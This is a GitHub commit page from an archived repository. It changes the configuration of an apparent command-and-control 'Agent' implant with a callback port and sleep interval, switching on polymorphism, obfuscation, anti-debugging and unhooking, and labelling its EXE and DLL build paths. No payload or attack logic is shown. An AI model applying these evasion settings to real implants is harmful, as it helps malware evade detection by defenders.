Skip to content
This repository has been archived by the owner on Nov 9, 2024. It is now read-only.

Commit

Permalink
TESTING Windows XP Support
Browse files Browse the repository at this point in the history
  • Loading branch information
0xTriboulet committed Oct 9, 2023
1 parent e62b208 commit 3667289
Show file tree
Hide file tree
Showing 3 changed files with 7 additions and 6 deletions.
8 changes: 4 additions & 4 deletions Agent/Include/Config.h
Original file line number Diff line number Diff line change
Expand Up @@ -4,10 +4,10 @@
#define CONFIG_PORT 9001
#define CONFIG_SECURE FALSE
#define CONFIG_SLEEP 3
#define CONFIG_POLYMORPHIC FALSE
#define CONFIG_OBFUSCATION FALSE
#define CONFIG_POLYMORPHIC TRUE
#define CONFIG_OBFUSCATION TRUE
#define CONFIG_ARCH 86
#define CONFIG_NATIVE FALSE
#define CONFIG_ANTI_DEBUG FALSE
#define CONFIG_UNHOOK 0
#define CONFIG_ANTI_DEBUG TRUE
#define CONFIG_UNHOOK 1
#define CONFIG_MAKE 0
4 changes: 2 additions & 2 deletions Agent/Source/Main.c
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@

INSTANCE Instance = { 0 };

#if CONFIG_MAKE == 0
#if CONFIG_MAKE == 0 // EXE
INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nShowCmd ) {
$$$
RvntInit();
Expand All @@ -34,7 +34,7 @@ INT WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLin
return 0;
}

#elif CONFIG_MAKE == 1
#elif CONFIG_MAKE == 1 // DLL
__declspec(dllexport) VOID run();

BOOL APIENTRY DllMain(HINSTANCE hinstDLL, DWORD ul_reason_for_call, LPVOID lpReserved){
Expand Down
1 change: 1 addition & 0 deletions Agent/Source/Utilities.c
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,7 @@
#include "Poly.h"
#include "Dbg.h"
#include "Asm.h"
#include "Defs.h"

#include <windows.h>

Expand Down

0 comments on commit 3667289

Please sign in to comment.